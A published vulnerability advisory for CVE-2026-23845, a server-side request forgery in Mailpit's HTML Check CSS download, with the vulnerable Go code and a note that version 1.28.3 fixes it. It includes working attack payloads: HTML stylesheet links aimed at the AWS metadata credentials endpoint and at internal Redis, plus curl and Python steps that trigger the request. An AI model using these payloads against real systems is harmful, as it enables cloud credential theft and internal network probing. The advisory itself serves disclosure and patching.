CVE-2026-23845: Mailpit has a Server-Side Request Forgery (SSRF) via HTML Check API
Server-Side Request Forgery (SSRF) via HTML Check CSS Download The HTML Check feature (/api/v1/message/{ID}/html-check) is designed to analyze HTML emails for compatibility. During this process, the inlineRemoteCSS() function automatically downloads CSS files from external tags to inline them for testing.
Published Jan 21, 2026
Affected packages
github.com/axllent/mailpit
- Ecosystem
- Go
- Affected
- < 1.28.3
- Fixed in
- 1.28.3
- Check
go list -m github.com/axllent/mailpit
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Server-Side Request Forgery (SSRF) via HTML Check CSS Download
The HTML Check feature (/api/v1/message/{ID}/html-check) is designed to analyze HTML emails for compatibility. During this process, the inlineRemoteCSS() function automatically downloads CSS files from external <link rel="stylesheet" href="..."> tags to inline them for testing.
Affected Components
- Primary File:
internal/htmlcheck/css.go(lines 132-207) - API Endpoint:
/api/v1/message/{ID}/html-check - Handler:
server/apiv1/other.go(lines 38-75) - Vulnerable Functions:
inlineRemoteCSS()- line 132downloadToBytes()- line 193isURL()- line 221
Technical Details
1. Insufficient URL Validation (`isURL()` function):
// internal/htmlcheck/css.go:221-224
func isURL(str string) bool {
u, err := url.Parse(str)
return err == nil && (u.Scheme == "http" || u.Scheme == "https") && u.Host != ""
}2. Unrestricted Download (`downloadToBytes()` function):
// internal/htmlcheck/css.go:193-207
func downloadToBytes(url string) ([]byte, error) {
client := http.Client{
Timeout: 5 * time.Second,
}
// Get the link response data
resp, err := client.Get(url) // ⚠️ VULNERABLE - No IP validation
if err != nil {
return nil, err
}
defer func() { _ = resp.Body.Close() }()
if resp.StatusCode != 200 {
err := fmt.Errorf("error downloading %s", url)
return nil, err
}
body, err := io.ReadAll(resp.Body) // ⚠️ Downloads ENTIRE response
if err != nil {
return nil, err
}
return body, nil
}3. Automatic CSS Processing:
// internal/htmlcheck/css.go:132-187
func inlineRemoteCSS(h string) (string, error) {
reader := strings.NewReader(h)
doc, err := goquery.NewDocumentFromReader(reader)
if err != nil {
return h, err
}
remoteCSS := doc.Find("link[rel=\"stylesheet\"]").Nodes
for _, link := range remoteCSS {
attributes := link.Attr
for _, a := range attributes {
if a.Key == "href" {
if !isURL(a.Val) { // ⚠️ Insufficient validation
continue
}
if config.BlockRemoteCSSAndFonts {
logger.Log().Debugf("[html-check] skip testing remote CSS content: %s (--block-remote-css-and-fonts)", a.Val)
return h, nil
}
resp, err := downloadToBytes(a.Val) // ⚠️ Downloads from ANY URL
if err != nil {
logger.Log().Warnf("[html-check] failed to download %s", a.Val)
continue
}
// Inlines the downloaded CSS
styleBlock := &html.Node{
Type: html.ElementNode,
Data: "style",
DataAtom: atom.Style,
}
styleBlock.AppendChild(&html.Node{
Type: html.TextNode,
Data: string(resp), // Downloaded content inserted
})
link.Parent.AppendChild(styleBlock)
}
}
}
return doc.Html()
}Attack Vectors
Attack Vector 1: Cloud Metadata Credential Theft
Attacker sends HTML email with:
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role">
</head>
<body>Legitimate email content</body>
</html>When HTML check is triggered:
- Mailpit makes GET request to AWS metadata endpoint
- Downloads IAM credentials as "CSS content"
- Credentials logged or potentially leaked via error messages
Proof of Concept
A complete working exploit is provided in ssrf_htmlcheck_poc.py.
PoC Usage:
# Ensure Mailpit is running
# SMTP: localhost:1025
# HTTP API: localhost:8025
# Run the exploit
python3 ssrf_htmlcheck_poc.pyPoC Workflow:
- Starts SSRF listener on port 8888 to detect callbacks
- Sends malicious HTML emails containing: ``
html <link rel="stylesheet" href="http://localhost:8888/malicious.css"> <link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/"> <link rel="stylesheet" href="http://127.0.0.1:6379/">`` - Triggers HTML check via API:
GET /api/v1/message/{ID}/html-check - Monitors callbacks and analyzes responses
- Demonstrates exploitation of:
- Local listener (proves SSRF)
- Cloud metadata endpoints
- Internal services (Redis, etc.)
- Private network ranges
Expected Output:
╔══════════════════════════════════════════════════════════════════════════════╗
║ Mailpit SSRF PoC - HTML Check CSS Download Vulnerability ║
║ Severity: MODERATE ║
║ File: internal/htmlcheck/css.go:193-207 ║
╚══════════════════════════════════════════════════════════════════════════════╝
[+] SSRF listener started on port 8888
[*] Testing SSRF with callback to local listener...
================================================================================
[*] Testing SSRF with target: http://localhost:8888/malicious.css
================================================================================
[+] Email sent with CSS link to: http://localhost:8888/malicious.css
[+] Message ID: abc123xyz
[*] Triggering HTML check: http://localhost:8025/api/v1/message/abc123xyz/html-check
[+] HTML check completed (Status: 200)
[SSRF-LISTENER] 127.0.0.1 - "GET /malicious.css HTTP/1.1" 200 -
[+] SUCCESS! SSRF confirmed - Received 1 callback(s):
Path: /malicious.css
User-Agent: Mailpit/dev
================================================================================
[*] Testing SSRF against internal/private targets...
================================================================================
⚠️ Note: These may timeout or fail, but Mailpit WILL attempt the connection
[+] Email sent with CSS link to: http://127.0.0.1:6379/
[+] Message ID: def456uvw
[*] Triggering HTML check: http://localhost:8025/api/v1/message/def456uvw/html-check
[!] Request timed out - target may be blocking or slowManual Testing:
# 1. Send malicious email
cat << 'EOF' | python3 - <<SENDMAIL
import smtplib
from email.mime.text import MIMEText
html = '''
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/">
</head>
<body>Test</body>
</html>
'''
msg = MIMEText(html, 'html')
msg['Subject'] = 'SSRF Test'
msg['From'] = '[email protected]'
msg['To'] = '[email protected]'
with smtplib.SMTP('localhost', 1025) as smtp:
smtp.send_message(msg)
SENDMAIL
EOF
# 2. Get message ID
MESSAGE_ID=$(curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID')
# 3. Trigger SSRF
curl -v "http://localhost:8025/api/v1/message/$MESSAGE_ID/html-check"Credited to mdisec, omarkurt.
References
- https://github.com/axllent/mailpit/security/advisories/GHSA-6jxm-fv7w-rw5j
- https://nvd.nist.gov/vuln/detail/CVE-2026-23845
- https://github.com/axllent/mailpit/commit/1679a0aba592ebc8487a996d37fea8318c984dfe
- https://github.com/axllent/mailpit/releases/tag/v1.28.3
- https://github.com/advisories/GHSA-6jxm-fv7w-rw5j
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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